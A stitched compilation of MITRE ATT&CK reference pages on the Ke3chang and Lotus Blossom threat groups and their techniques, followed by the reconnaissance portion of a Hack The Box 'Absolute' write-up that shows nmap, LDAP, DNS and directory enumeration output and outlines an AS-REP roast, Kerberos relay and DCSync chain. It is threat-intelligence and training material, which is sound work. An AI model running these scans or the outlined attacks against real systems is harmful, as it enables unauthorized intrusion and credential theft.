Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Reflective Code Loading Rogue Domain Controller Rootkit Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification System Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Mavinject MMC System Script Proxy Execution PubPrn Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning DHCP Spoofing Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Interception Multi-Factor Authentication Request Generation Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud
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versions_v11_techniques_T1546_013.txt
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ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. To potentially join us on stage, submit to our CFP by July 9th - Home - Groups - Ke3chang Ke3chang Ke3chang is a threat group attributed to actors operating out of China. Ke3chang has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.[1][2][3][4] ID: G ⓘ Associated Groups: APT15, Mirage, Vixen Panda, GREF, Playful Dragon, RoyalAPT, NICKEL, Nylon Typhoon Contributors: Pooja Natarajan, NEC Corporation India; Manikantan Srinivasan, NEC Corporation India; Hiroki Nagahama, NEC Corporation Version: 3. Created: 31 May Last Modified: 04 April Version Permalink Live Version Associated Group Descriptions Name Description APT [2] Mirage [2] Vixen Panda [2][3] GREF [2] Playful Dragon [2][3] RoyalAPT [3] NICKEL [4] Nylon Typhoon [5] Campaigns ID Name First Seen Last Seen References Techniques C SPACEHOP Activity January 2019 [6] May 2024 [6] [6] Acquire Infrastructure: Virtual Private Server, Exploit Public-Facing Application, Obtain Capabilities: Tool, Proxy: Multi-hop Proxy ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Account Discovery: Local Account Ke3chang performs account discovery using commands such as net localgroup administrators and net group "REDACTED" /domain on specific permissions groups.[1] . Account Discovery: Domain Account Ke3chang performs account discovery using commands such as net localgroup administrators and net group "REDACTED" /domain on specific permissions groups.[1] Enterprise T . Acquire Infrastructure: Virtual Private Server SPACEHOP Activity has used acquired Virtual Private Servers as control systems for devices within the ORB network.[6] . Acquire Infrastructure: Botnet Ke3chang has utilized an ORB (operational relay box) network for reconnaissance and vulnerability exploitation.[6] Enterprise T . Application Layer Protocol: Web Protocols Ke3chang malware including RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2.[2][4] . Application Layer Protocol: DNS Ke3chang malware RoyalDNS has used DNS for C2.[2] Enterprise T Archive Collected Data The Ke3chang group has been known to compress data before exfiltration.[1] . Archive via Utility Ke3chang is known to use 7Zip and RAR with passwords to encrypt data prior to exfiltration.[1][4] Enterprise T Automated Collection Ke3chang has performed frequent and scheduled data collection from victim networks.[4] Enterprise T Automated Exfiltration Ke3chang has performed frequent and scheduled data exfiltration from compromised networks.[4] Enterprise T . Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Several Ke3chang backdoors achieved persistence by adding a Run key.[2] Enterprise T Command and Scripting Interpreter Malware used by Ke3chang can run commands on the command-line interface.[1][2] . Windows Command Shell Ke3chang has used batch scripts in its malware to install persistence mechanisms.[2] Enterprise T . Create or Modify System Process: Windows Service Ke3chang backdoor RoyalDNS established persistence through adding a service called Nwsapagent.[2] Enterprise T . Data from Information Repositories: Sharepoint Ke3chang used a SharePoint enumeration and data dumping tool known as spwebmember.[2] Enterprise T Data from Local System Ke3chang gathered information and files from local directories for exfiltration.[1][4] Enterprise T Deobfuscate/Decode Files or Information Ke3chang has deobfuscated Base64-encoded shellcode strings prior to loading them.[4] Enterprise T . Develop Capabilities: Malware Ke3chang has developed custom malware that allowed them to maintain persistence on victim networks.[4] Enterprise T . Email Collection: Remote Email Collection Ke3chang has used compromised credentials and a .NET tool to dump data from Microsoft Exchange mailboxes.[2][4] Enterprise T Exfiltration Over C2 Channel Ke3chang transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.[1] Enterprise T Exploit Public-Facing Application Ke3chang has compromised networks by exploiting Internet-facing applications, including vulnerable Microsoft Exchange and SharePoint servers.[4]SPACEHOP Activity has enabled the exploitation of CVE-2022-27518 and CVE-2022-27518 for illegitimate access.[7][6] Enterprise T External Remote Services Ke3chang has gained access through VPNs including with compromised accounts and stolen VPN certificates.[2][4] Enterprise T File and Directory Discovery Ke3chang uses command-line interaction to search files and directories.[1][4] Enterprise T Ingress Tool Transfer Ke3chang has used tools to download files to compromised machines.[4] Enterprise T . Input Capture: Keylogging Ke3chang has used keyloggers.[2][4] Enterprise T . Masquerading: Right-to-Left Override Ke3chang has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files.[1] . Masquerading: Match Legitimate Resource Name or Location Ke3chang has dropped their malware into legitimate installed software paths including: C:\ProgramFiles\Realtek\Audio\HDA\AERTSr.exe, C:\Program Files (x86)\Foxit Software\Foxit Reader\FoxitRdr64.exe, C:\Program Files (x86)\Adobe\Flash Player\AddIns\airappinstaller\airappinstall.exe, and C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd64.exe.[4] Enterprise T Obfuscated Files or Information Ke3chang has used Base64-encoded shellcode strings.[4] Enterprise T . Obtain Capabilities: Tool Ke3chang has obtained and used tools such as Mimikatz.[2]SPACEHOP Activity leverages a C2 framework sourced from a publicly-available Github repository for administration of relay nodes.[6] Enterprise T . OS Credential Dumping: LSASS Memory Ke3chang has dumped credentials, including by using Mimikatz.[1][2][4] . OS Credential Dumping: Security Account Manager Ke3chang has dumped credentials, including by using gsecdump.[1][2] . OS Credential Dumping: NTDS Ke3chang has used NTDSDump and other password dumping tools to gather credentials.[4] . OS Credential Dumping: LSA Secrets Ke3chang has dumped credentials, including by using gsecdump.[1][2] Enterprise T . Permission Groups Discovery: Domain Groups Ke3chang performs discovery of permission groups net group /domain.[1] Enterprise T Process Discovery Ke3chang performs process discovery using tasklist commands.[1][2] Enterprise T . Proxy: Multi-hop Proxy SPACEHOP Activity has routed traffic through chains of compromised network devices to proxy C2 communications.[6] Enterprise T . Remote Services: SMB/Windows Admin Shares Ke3chang actors have been known to copy files to the network shares of other computers to move laterally.[1][2] Enterprise T Remote System Discovery Ke3chang has used network scanning and enumeration tools, including Ping.[2] Enterprise T . Steal or Forge Kerberos Tickets: Golden Ticket Ke3chang has used Mimikatz to generate Kerberos golden tickets.[2] Enterprise T System Information Discovery Ke3chang performs operating system information discovery using systeminfo and has used implants to identify the system language and computer name.[1][2][4] Enterprise T . System Location Discovery: System Language Discovery Ke3chang has used implants to collect the system language ID of a compromised machine.[4] Enterprise T System Network Configuration Discovery Ke3chang has performed local network configuration discovery using ipconfig.[1][2][4] Enterprise T System Network Connections Discovery Ke3chang performs local network connection discovery using netstat.[1][2] Enterprise T System Owner/User Discovery Ke3chang has used implants capable of collecting the signed-in username.[4] Enterprise T System Service Discovery Ke3chang performs service discovery using net start commands.[1] Enterprise T . System Services: Service Execution Ke3chang has used a tool known as RemoteExec (similar to PsExec) to remotely execute batch scripts and binaries.[2] Enterprise T Valid Accounts Ke3chang has used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts.[4] . Cloud Accounts Ke3chang has used compromised credentials to sign into victims’ Microsoft 365 accounts.[4] Software ID Name References Techniques S ipconfig [1][2] System Network Configuration Discovery S Mimikatz [2][4] Access Token Manipulation: SID-History Injection, Account Manipulation, Boot or Logon Autostart Execution: Security Support Provider, Credentials from Password Stores, Credentials from Password Stores: Credentials from Web Browsers, Credentials from Password Stores: Windows Credential Manager, OS Credential Dumping: DCSync, OS Credential Dumping: Security Account Manager, OS Credential Dumping: LSASS Memory, OS Credential Dumping: LSA Secrets, Rogue Domain Controller, Steal or Forge Authentication Certificates, Steal or Forge Kerberos Tickets: Golden Ticket, Steal or Forge Kerberos Tickets: Silver Ticket, Unsecured Credentials: Private Keys, Use Alternate Authentication Material: Pass the Hash, Use Alternate Authentication Material: Pass the Ticket S MirageFox [3] Command and Scripting Interpreter: Windows Command Shell, Deobfuscate/Decode Files or Information, Hijack Execution Flow: DLL, System Information Discovery, System Owner/User Discovery S Neoichor [4] Application Layer Protocol: Web Protocols, Data from Local System, Indicator Removal, Ingress Tool Transfer, Inter-Process Communication: Component Object Model, Modify Registry, System Information Discovery, System Location Discovery: System Language Discovery, System Network Configuration Discovery: Internet Connection Discovery, System Network Configuration Discovery, System Owner/User Discovery S Net [1][2] Account Discovery: Domain Account, Account Discovery: Local Account, Account Manipulation: Additional Local or Domain Groups, Create Account: Local Account, Create Account: Domain Account, Indicator Removal: Network Share Connection Removal, Network Share Discovery, Password Policy Discovery, Permission Groups Discovery: Domain Groups, Permission Groups Discovery: Local Groups, Remote Services: SMB/Windows Admin Shares, Remote System Discovery, System Network Connections Discovery, System Service Discovery, System Services: Service Execution, System Time Discovery S netstat [1][2] System Network Connections Discovery S Okrum [8] Access Token Manipulation: Token Impersonation/Theft, Application Layer Protocol: Web Protocols, Archive Collected Data: Archive via Utility, Archive Collected Data: Archive via Custom Method, Boot or Logon Autostart Execution: Shortcut Modification, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service, Data Encoding: Standard Encoding, Data Obfuscation, Data Obfuscation: Protocol or Service Impersonation, Deobfuscate/Decode Files or Information, Encrypted Channel: Symmetric Cryptography, Exfiltration Over C2 Channel, File and Directory Discovery, Hide Artifacts: Hidden Files and Directories, Indicator Removal: File Deletion, Ingress Tool Transfer, Input Capture: Keylogging, Masquerading: Masquerade Task or Service, Obfuscated Files or Information: Steganography, OS Credential Dumping: Cached Domain Credentials, OS Credential Dumping: LSASS Memory, Proxy: External Proxy, Scheduled Task/Job: Scheduled Task, System Information Discovery, System Network Configuration Discovery, System Network Connections Discovery, System Owner/User Discovery, System Services: Service Execution, System Time Discovery, Virtualization/Sandbox Evasion: System Checks, Virtualization/Sandbox Evasion:
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groups_G0004.txt
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HTB: Absolute htb-absolute hackthebox ctf windows iis crackmapexec ldapsearch dnsenum feroxbuster exiftool username-anarchy kerbrute as-rep-roast hashcat kerberos kinit klist bloodhound bloudhound-python rpc dynamic-reversing wireshark shadow-credential certipy krbrelay visual-studio runascs krbrelayup rubeus dcsync htb-outdated osep-plus oscp-plus-v3 osep-like May 27, HTB: Absolute Absolute is a much easier box to solve today than it was when it first released in September 2022. At that time, many of the tools necessary to solve the box didn’t support Kerberos authentication, forcing the place to figure out ways to make things work. Still, even today, it’s a maze of Windows enumeration and exploitation that starts with some full names in the metadata of images. I’ll figure out the username format for the domain, and AS-REP-Roast to get creds. LDAP enumeration leads to the next set of creds. Access to a share provides a Nim binary, where some dynamic analysis provides yet another set of creds. This user is able to modify a group and from there modify a user to add a shadow credential and finally get a shell on the box. To get administrator access, I’ll abuse relaying Kerberos, showing both KrbRelay to add a user to the administrators group, and KrbRelayUp to get the machine account hash and do a DC sync attack. Box Info Name Absolute Play on HackTheBox Release Date 24 Sep Retire Date 27 May OS Windows Base Points Insane [50] Rated Difficulty Radar Graph 03:17:54 snowscan 1 day01:04:22 jazzpizazz Creator Geiseric Recon nmap nmap finds a bunch of open TCP ports, typical of a Windows domain controller: oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11. Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-21 06:36 EDT Nmap scan report for 10.10.11. Host is up (0.087s latency). Not shown: 65509 closed ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49675/tcp open unknown 49686/tcp open unknown 49692/tcp open unknown 49699/tcp open unknown 49703/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 8.50 seconds oxdf@hacky$ nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.11. Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-21 06:37 EDT Nmap scan report for 10.10.11. Host is up (0.088s latency). PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10. | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10. |_http-title: Absolute 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-21 17:38:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2022-06-09T08:14: |_Not valid after: 2023-06-09T08:14: |_ssl-date: 2023-05-21T17:40:40+00:00; +6h59m59s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1. 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2022-06-09T08:14: |_Not valid after: 2023-06-09T08:14: |_ssl-date: 2023-05-21T17:40:39+00:00; +7h00m00s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2022-06-09T08:14: |_Not valid after: 2023-06-09T08:14: |_ssl-date: 2023-05-21T17:40:40+00:00; +6h59m59s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2022-06-09T08:14: |_Not valid after: 2023-06-09T08:14: |_ssl-date: 2023-05-21T17:40:39+00:00; +7h00m00s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2. |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=5/21%Time=6469F493%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2023-05-21T17:40: |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 161.96 seconds The IIS version suggests Absolute is running Windows 10 / Server 2016 or later. The LDAP scan shows the hostname of dc.absolute.htb. I’ll add it and the base domain to my /etc/hosts file: 10.10.11.181 absolute.htb dc.absolute.htb There’s a seven hour clock skew, which I’ll want to keep in mind if I am doing any Kerberos auth. I’ll note that WinRM (5985) is open for when I find creds. SMB - TCP I’m not able to get a connection to SMB without creds: oxdf@hacky$ crackmapexec smb 10.10.11.181 --shares SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.) oxdf@hacky$ crackmapexec smb 10.10.11.181 --shares -u 0xdf -p '' SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [-] absolute.htb\0xdf: STATUS_LOGON_FAILURE LDAP - TCP 389+ ldapsearch will give the base naming context, which matches absolute.htb: oxdf@hacky$ ldapsearch -H ldap://dc.absolute.htb -x -s base namingcontexts # extended LDIF # # LDAPv # base <> (default) with scope baseObject # filter: (objectclass=*) # requesting: namingcontexts # # dn: namingcontexts: DC=absolute,DC=htb namingcontexts: CN=Configuration,DC=absolute,DC=htb namingcontexts: CN=Schema,CN=Configuration,DC=absolute,DC=htb namingcontexts: DC=DomainDnsZones,DC=absolute,DC=htb namingcontexts: DC=ForestDnsZones,DC=absolute,DC=htb # search result search: result: 0 Success # numResponses: # numEntries: Trying to get any additional information requires auth: oxdf@hacky$ ldapsearch -H ldap://dc.absolute.htb -x -b "DC=absolute,DC=htb" # extended LDIF # # LDAPv # base <DC=absolute,DC=htb> with scope subtree # filter: (objectclass=*) # requesting: ALL # # search result search: result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v # numResponses: DNS - TCP/UDP I can try a zone transfer, but it fails: oxdf@hacky$ dig +noall +answer @10.10.11.181 axfr absolute.htb ; Transfer failed. I can confirm the two names I already know: oxdf@hacky$ dig +noall +answer @10.10.11.181 absolute.htb absolute.htb. 600 IN A 10.10.11. oxdf@hacky$ dig +noall +answer @10.10.11.181 dc.absolute.htb dc.absolute.htb. 3600 IN A 10.10.11. I’ll brute force subdomains with dnsenum. It confirms what I identified manually above, and finds a few other subdomains via bruteforce: oxdf@hacky$ dnsenum --dnsserver 10.10.11.181 -f /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt absolute.htb dnsenum VERSION:1.2. ----- absolute.htb ----- Host's addresses: __________________ absolute.htb. 600 IN A 10.10.11. Name Servers: ______________ dc.absolute.htb. 1200 IN A 10.10.11. Mail (MX) Servers: ___________________ Trying Zone Transfers and getting Bind Versions: _________________________________________________ Trying Zone Transfer for absolute.htb on dc.absolute.htb ... AXFR record query failed: REFUSED Brute forcing with /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt: ________________________________________________________________________________ dc.absolute.htb. 1200 IN A 10.10.11. gc._msdcs.absolute.htb. 600 IN A 10.10.11. domaindnszones.absolute.htb. 600 IN A 10.10.11. forestdnszones.absolute.htb. 600 IN A 10.10.11. absolute.htb class C netranges: ________________________________ Performing reverse lookup on 0 ip addresses: _____________________________________________ 0 results out of 0 IP addresses. absolute.htb ip blocks: ________________________ done. None of these are particularly interesting. Website - TCP Site The website is a simple page focused on design and images: The image rotates every few seconds. The only link leads to the template. Tech Stack The HTTP response headers just say IIS without much else: HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Tue, 07 Jun 2022 19:29:10 GMT Accept-Ranges: bytes ETag: "0877fdca47ad81:0" Server: Microsoft-IIS/10. Date: Sun, 21 May 2023 23:50:51 GMT Connection: close Content-Length: The front page itself loads as index.html, suggesting perhaps it’s just a static site. The 404 page looks a lot like the IIS default 404. The rotating pictures seem to be in a hero-slider and owl-carousel div: Directory Brute Force I’ll run feroxbuster against the site: oxdf@hacky$ feroxbuster -u http://absolute.htb ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.9. ───────────────────────────┬────────────────────── 🎯 Target Url │ http://absolute.htb 🚀 Threads │ 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 🦡 User-Agent │ feroxbuster/2.9. 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 2l 10w 150c http://absolute.htb/images => http://absolute.htb/images/ 301 GET 2l 10w 147c http://absolute.htb/css => http://absolute.htb/css/ 301 GET 2l 10w 146c http://absolute.htb/js => http://absolute.htb/js/ 200 GET 6l 77w 3351c http://absolute.htb/css/owl.carousel.min.css 301 GET 2l 10w 150c http://absolute.htb/Images => http://absolute.htb/Images/ 200 GET 3625l 7946w 77906c http://absolute.htb/css/animate.css 301 GET 2l 10w 149c http://absolute.htb/fonts => http://absolute.htb/fonts/ 301 GET 2l 10w 147c http://absolute.htb/CSS => http://absolute.htb/CSS/ 200 GET 7808l 48362w 3771054c http://absolute.htb/images/hero_4.jpg 301 GET 2l 10w 146c http://absolute.htb/JS => http://absolute.htb/JS/ 301 GET 2l 10w 146c http://absolute.htb/Js => http://absolute.htb/Js/ 301 GET 2l 10w 147c http://absolute.htb/Css => http://absolute.htb/Css/ 200 GET 6692l 42749w 3290518c http://absolute.htb/images/hero_5.jpg 200 GET 7l 277w 44342c
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2023_05_27_htb-absolute.html.txt
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Retrieved December 18, 2020. - Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018. - Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014. - Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019. - ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016. - Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018. - Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. - Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018. - Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018. - MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022. - Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022. - Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018. - An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021. - Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021. - Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021. - Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. - Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022. - Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018. - Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022. - Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022. - Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved March 2, 2022. - Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022. - Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020. - Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021. - Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021. - Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022. - ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. - The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019. - kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020. - Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018. - Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023. - Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. - DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022. - DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023. - GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021. - Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020. - Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. - Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020. - SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023. - Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020. - ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021. - Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018. - Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.
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versions_v14_techniques_T1071_001.txt
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Currently viewing ATT&CK v17.1 which is the current version of ATT&CK. Learn more about the versioning system or see the live site. ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. To potentially join us on stage, submit to our CFP by July 9th - Home - Groups - Lotus Blossom Lotus Blossom Lotus Blossom is a long-standing threat group largely targeting various entities in Asia since at least 2009. In addition to government and related targets, Lotus Blossom has also targeted entities such as digital certificate issuers.[1][2][3] ID: G ⓘ Associated Groups: DRAGONFISH, Spring Dragon, RADIUM, Raspberry Typhoon, Bilbug, Thrip Contributors: Prinesha Dobariya Version: 4. Created: 31 May Last Modified: 23 April Version Permalink Live Version Associated Group Descriptions Name Description DRAGONFISH [4] Spring Dragon [5][4] RADIUM [6] Raspberry Typhoon [6] Bilbug [2] Thrip [3] ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T Access Token Manipulation Lotus Blossom has retrieved process tokens for processes to adjust the privileges of the launch process or other items.[3] Enterprise T . Account Discovery: Local Account Lotus Blossom has used commands such as net to profile local system users.[3] . Account Discovery: Domain Account Lotus Blossom has used net commands and tools such as AdFind to profile domain accounts associated with victim machines and make Active Directory queries.[3][2] Enterprise T . Archive Collected Data: Archive via Utility Lotus Blossom has used WinRAR for compressing data in RAR format.[3][2] . Archive Collected Data: Archive via Custom Method Lotus Blossom has used custom tools to compress and archive data on victim systems.[3] Enterprise T . Create or Modify System Process: Windows Service Lotus Blossom has configured tools such as Sagerunex to run as Windows services.[3] Enterprise T . Data Staged: Local Data Staging Lotus Blossom has locally staged compressed and archived data for follow-on exfiltration.[3] Enterprise T Domain Trust Discovery Lotus Blossom has used tools such as AdFind to make 